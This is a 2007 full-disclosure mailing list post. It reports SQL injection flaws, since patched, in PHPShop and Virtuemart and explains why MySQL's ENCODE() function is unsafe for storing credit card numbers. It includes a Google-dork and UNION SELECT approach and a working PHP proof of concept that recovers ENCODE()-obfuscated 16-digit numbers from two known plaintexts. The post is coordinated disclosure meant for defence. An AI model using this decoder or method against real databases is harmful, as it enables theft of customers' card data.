Date: Thu, 5 Jul 2007 07:15:06 +0100
From: "Sam Thomas" <Sam.Thomas@...aterra.org>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Be careful what you google for,
	you might just find it!

Dear List,

 

The following is a cautionary tale, about what happens when you go around searching for generic vulnerabilities. It is quite long; if you don't want to read it I won't be offended. From a serious security perspective it contains information regarding recently patched SQL injection vulnerabilities in PHPShop and Virtuemart, two open source e-commerce solutions. It also contains technical information regarding why using MySQL's "ENCODE()" function to obfuscate sensitive data is not a safe practice. And further why it is particularly dangerous in the case of well structured data such as Credit Card numbers. I have not informed the MySQL developers as I do not believe this is what the function was intended for and the product already supplies more suitable functions for data encryption. However it is widely being used for this purpose and this is still currently the case in both PHPShop and Virtuemart. 

 

This function should not in any way be considered a safe method to protect sensitive data such as passwords or financial details. The attack presented here is effective only against numerical data but could easily be extended. I genuinely regret having executed the google search that I did, I ended up doing far more work pro bono than I ever would have wanted to. Perhaps if I had a more criminal bent I would be sitting on a beach in the Bahamas right now supping cocktails telling tales of how a simple google search had made me millions, but instead I'm writing a lengthy post to full-disclosure. 

 

About two months ago I was feeling bored and so decided to do something very stupid. I'd done it before and regretted it then, but I couldn't help myself. I opened up my web browser and typed "inurl:shop sql error" into the google toolbar. The usual array of online shops with trivial vulnerabilities showed up.

 

What took my interest this time was a chain of commercially run sites that seemed to be prone in quite a few user submitted variables. After a few "UNION SELECT 1,2,3,..." queries and a quick peek at the HTML I had a query that would list all the payment details for an order on the system (On their demo shop of course). However the most critical field, the credit card number, was gibberish. 

 

At this point I decided to place a few orders of my own with arbitrary numbers like "111...". I ran the query again on these new entries, and it still returned gibberish, but interesting gibberish. It was always 16 bytes long (The same as the original data), and any numbers which started the same had corresponding gibberish which started the same. It was time to return to the mighty google toolbar.

 

I tapped in the name of the credit card field from the database. A few clicks later and it became apparent that the shops were based on an early version of PHPShop and the numbers were being processed by MySQL's "ENCODE()" function. So back to the toolbar and click-click-click and the algorithm used by the "DECODE()" function is essentially:

 

crypt_int(password)

{

         Take the password as a seed and do some natty stuff with a random number generator to make a one-one transformation from the integers 0-255 onto themselves - Transformation[].

         Use the password again to generate a big old random number - Rand.

         Output Rand and Transformation[].

}

 

decode(encoded)

{

         shift=0.

         decoded="".

         for the length of encoded

         {

               shift=shift XOR myrand(Rand).

               index = (ASCII value of next character from encoded) XOR shift.

               decoded = decoded + CHR(Transformation[Index]).

               shift = shift XOR Transformation[Index].

         }

         Output decoded.

}

 

myrand(Rand)

{

      Output a sequence of pseudorandom numbers using Rand as a seed.

}

 

Now it was time to whip out my (not so) advanced cryptanalysis skills:

 

Observations:

Advanced cryptanalysis observation #1 - Credit Card numbers are 16 digits long.

Advanced cryptanalysis observation #2 - They consist of the digits 0-9 and nothing else.

 

Implications:

#1 - ACO1 means we only need consider the first 16 random numbers generated by myrand.

#2 - Since Transformation[] is one-one ACO2 means index is limited to 10 values.

 

Theorem:

 

It's possible to create a function capable of decoding all Credit Card numbers in a MySQL database if they are encoded with the "ENCODE()" function without knowing the password used if we know the encoded value of two simple plaintexts.

 

Consider the cunningly constructed plaintext "0000000000000000". 

Again using the fact that Transformation[] is one-one we know index takes one and only one value throughout the execution of the decoding algorithm. Now observe what happens between the generation of two digits:

 

index = (ASCII value of next character from encoded) XOR shift.

decoded = decoded + CHR(Transformation[index]).

shift = shift XOR Transformation[index].

shift = shift XOR myrand(Rand). 

index = (ASCII value of next character from encoded) XOR shift.

decoded = decoded + CHR(Transformation[index]).

 

But we know the value of Transformation[Index] is the ASCII value of "0". Now let e1,...,e16 be the byte values of the encoded data, between the nth and (n+1)th digit being decoded we have:

 

index = e(n) XOR shift

shift = shift XOR ASCII("0").

shift = shift XOR myrand(Rand).

index = e(n+1) XOR shift

 

Let s1,...,s16 and r1,...,r16 be the values of shift and myrand throughout the algorithm.

 

e(n) XOR s(n) = e(n+1) XOR s(n+1) 

 

but

 

s(n+1) = s(n) XOR ASCII("0") XOR r(n+1)

 

so 

 

e(n) XOR e(n+1) = s(n+1) XOR s(n) = ASCII("0") XOR r(n+1)

e(n) XOR e(n+1) XOR ASCII("0") = r(n+1)

 

Thus we can recover all but the first random number generated by myrand.

 

Create a new set of values key1,...,key16 where

 

key1 = e1 XOR ASCII("0") and key(n+1)=e(n+1) XOR e(n) XOR ASCII("0")=r(n+1) for 0<n<16

 

Now consider another cunningly constructed plaintext "123456789xxxxxxx" where the x's are any digit. Let f1,...,f9 be the values of the first 9 encoded digits, we will use them to construct an equivalent transformation to Transform[]. 

 

Comparing the values of index that will be produced by decoding the encoded version of this plaintext we know:

 

Transformation^-1["0"] = e1 XOR r1.

Transformation^-1["1"] = f1 XOR r1.

Transformation^-1["2"] = f2 XOR r1 XOR r2 XOR ASCII("1").

Transformation^-1["3"] = f3 XOR r1 XOR r2 XOR r3 XOR ASCII("1") XOR ASCII("2").

...

 

so

 

Transformation^-1["1"] = e1 XOR f1 XOR Tranformation^-1["0"] = f1 XOR key1 XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["2"] = e1 XOR f2 XOR ASCII("0") XOR r2 XOR ASCII("1") XOR Transformation^-1["0"] = f2 XOR key1 XOR key2 XOR ASCII("1") XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["3"] = e1 XOR f3 XOR ASCII("0") XOR r2 XOR r3 XOR ASCII("1") XOR ASCII("2") XOR Transformation^-1["0"]= f3 XOR key1 XOR key2 XOR key3 XOR ASCII("1") XOR ASCII("2") XOR ASCII("0") XOR Transformation^-1["0"]

...

 

Now we set the values trans0,...,trans9 thus:

 

trans0=ASCII("0").

trans1=f1 XOR key1.

trans2=f2 XOR key1 XOR key2 XOR ASCII("1").

trans3=f3 XOR key1 XOR key2 XOR key3 XOR ASCII("1") XOR ASCII("2").

...

 

so

 

Transformation^-1["0"]=trans0 XOR ASCII("0") XOR Transformation^-1["0"]

Transformation^-1["1"]=trans1 XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["2"]=trans2 XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["3"]=trans3 XOR ASCII("0") XOR Transformation^-1["0"].

...

 

These are essentially the values of index which should translate to each digit, however in this transformation 0 maps onto itself.

 

The following function, once the values of key and trans have been established, will produce the same result as MySQL's "DECODE()" function for any encoded data for which the plaintext was 16 numerical digits (0-9), IE a Credit Card number.

 

kp_decode(encoded)

{

        decoded="".

        shift=0.

        for i = 1 to 16

        {

               shift=shift XOR key(i).

               temp=(ASCII value of next character from encoded) XOR shift.

               for j=0 to 9

               {

                        if temp=trans(j) then decoded=decoded+digit j

               }

               shift=shift XOR (ASCII value of digit j)

         }

         Output decoded.

}

 

So now I knew that the chain of shops was completely vulnerable, but also that PHPShop (Which seemed to be in reasonably wide use) was also using a dangerous technique to obfuscate customers credit card numbers. I thought I better have a look through the PHPShop source to see if there were any injections there. I then also came across Virtuemart which is another open source e-commerce solution in wide-stream use that had the same code base as PHPShop and also uses the "ENCODE()" function. Now I had two fairly hefty source code audits I felt obliged to do. Once again calling upon my advanced skills (Text search within WinRar) I was able to find injections in both products. Unfortunately having plaintext's encoded wasn't as easy as before, as they both applied the Luhn algorithm to validate the Credit Card numbers.

 

Back to the toolbar again, "Luhn algorithm", click-click-toolbar-blah-blah-blah, "4444444444444448" and "4123456789014444" both satisfy the algorithm and can be used to provide the information needed to decode. At this point I had to fight the temptation to steal 100,000 odd numbers and go on a carding rampage. With that battle eventually won I proceeded to write three PoC's to list the credit cards from each of the effected systems, and sent them to the relevant developers, along with as detailed an explanation as I could muster of the issues involved.  After two months of badgering (Don't get me wrong in the various circumstances I think all parties responded in a reasonably timely manner and if I was an open source developer I would definitely need badgering), the SQL injections are fixed but both PHPShop and Virtuemart continue to use the "ENCODE()" function to store their credit card numbers. The Virtuemart developer has assured me the encoding mechanism in his prduct wi
 ll be changed in the next full release. 

 

If anyone is still reading at this point, thank you! I don't want to publish the full PoC's for obvious reasons, but I will finish off with a mini PoC to show a practical impementation of the alternative decoding routine so it is easy to verify the technique used. It's a bit messy and inefficient, but it works and I'm lazy.

 

Cheers,

Sam

 
<?php
//
//  ******************************************************************
//  *                                                                *
//  *   PoC code to decode 16 digit numbers encoded with the MySQL   *
//  *   "ENCODE()" function.                                         *
//  *                                                                *
//  ******************************************************************
//

$key=array("*","*","*","*","*","*","*","*","*","*","*","*","*","*","*");
$trans=array("0","1","2","3","4","5","6","7","8","9");
$password="alphabettispagheti";
$m=mysql_connect("localhost");
 
$qry = mysql_query("SELECT ENCODE('4444444444444448','$password')");
$str_res = mysql_fetch_array($qry);
$ekp1  = $str_res[0];
 
$qry = mysql_query("SELECT ENCODE('4123456789014444','$password')");
$str_res = mysql_fetch_array($qry);
$ekp2  = $str_res[0];
 
$qry = mysql_query("SELECT ENCODE('3141592653589793','$password')");
$str_res = mysql_fetch_array($qry);
$enc  = $str_res[0];
 
kp_crypt_init($ekp1,$ekp2);
echo kp_decode($enc);

//
//  ******************************************************************
//  *                                                                *
//  *   function - kp_crypt_init                                     *
//  *                                                                *
//  *   inputs - encoded forms of "4444444444444448" ($ekp1)         *
//  *                          &  "4123456789014444" ($ekp2)         *
//  *                                                                *
//  *   prepares the $key and $trans arrays for decoding.            *
//  *                                                                *
//  ******************************************************************
//
function kp_crypt_init($ekp1,$ekp2)
{
        global $key,$trans;
        $i=0;
        $j=0;
        $key[0]=chr(ord(substr($ekp1,0,1)) ^ ord($trans[4]));
        for($i = 1; $i <= 14; $i++)
        {
                $key[$i]=chr(ord(substr($ekp1,$i-1,1))^ord(substr($ekp1,$i,1))^52);
        }
        $key[15]=chr(ord(substr($ekp2,14,1))^ord(substr($ekp2,15,1))^52);
        $i=11;
        $trans[0]=substr($ekp2,$i-1,1);
        for ($j=1; $j<=$i;$j++)
        {
                $trans[0]=chr(ord($trans[0])^ord($key[$j-1]));
        }
        for ($j=2; $j<=$i;$j++)
        {
                if ($j==2) {$trans[0]=chr(ord($trans[0])^52);} else {$trans[0]=chr(ord($trans[0])^(48+$j-2));}
        }
        for($i = 2; $i <= 10; $i++)
        {
                $trans[$i-1]=substr($ekp2,$i-1,1);
                for ($j=1; $j<=$i;$j++)
                {
                        $trans[$i-1]=chr(ord($trans[$i-1])^ord($key[$j-1]));
                }
                for ($j=2; $j<=$i;$j++)
                {
                        if ($j==2) {$trans[$i-1]=chr(ord($trans[$i-1])^52);} else {$trans[$i-1]=chr(ord($trans[$i-1])^(48+$j-2));}
                }
        }
}
//
//  ******************************************************************
//  *                                                                *
//  *   function - kp_decode                                         *
//  *                                                                *
//  *   input - encoded data                                         *
//  *                                                                *
//  *   output - decoded data!                                       *
//  *                                                                *
//  ******************************************************************
//
function kp_decode($encoded)
{
        global $key,$trans;
        $i=0;
        $j=0;
        $decoded="";
        $shift=0;
        for ($i=0; $i<=15; $i++)
        {
                $shift^=ord($key[$i]);
                $tmp=chr(ord(substr($encoded,$i,1))^$shift);
                $tmp2="-";
                for ($j=0; $j<=9; $j++)
                {
                        if ($tmp==$trans[$j])
                        {
                                $tmp2=chr(48+$j);
                        }
                }
                $decoded.=$tmp2;
                $shift^=ord($tmp2);
        }
        return $decoded;
}
?>
 


***********************************************************************************

For more information about Aquaterra Leisure, see www.aquaterra.org

***********************************************************************************


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists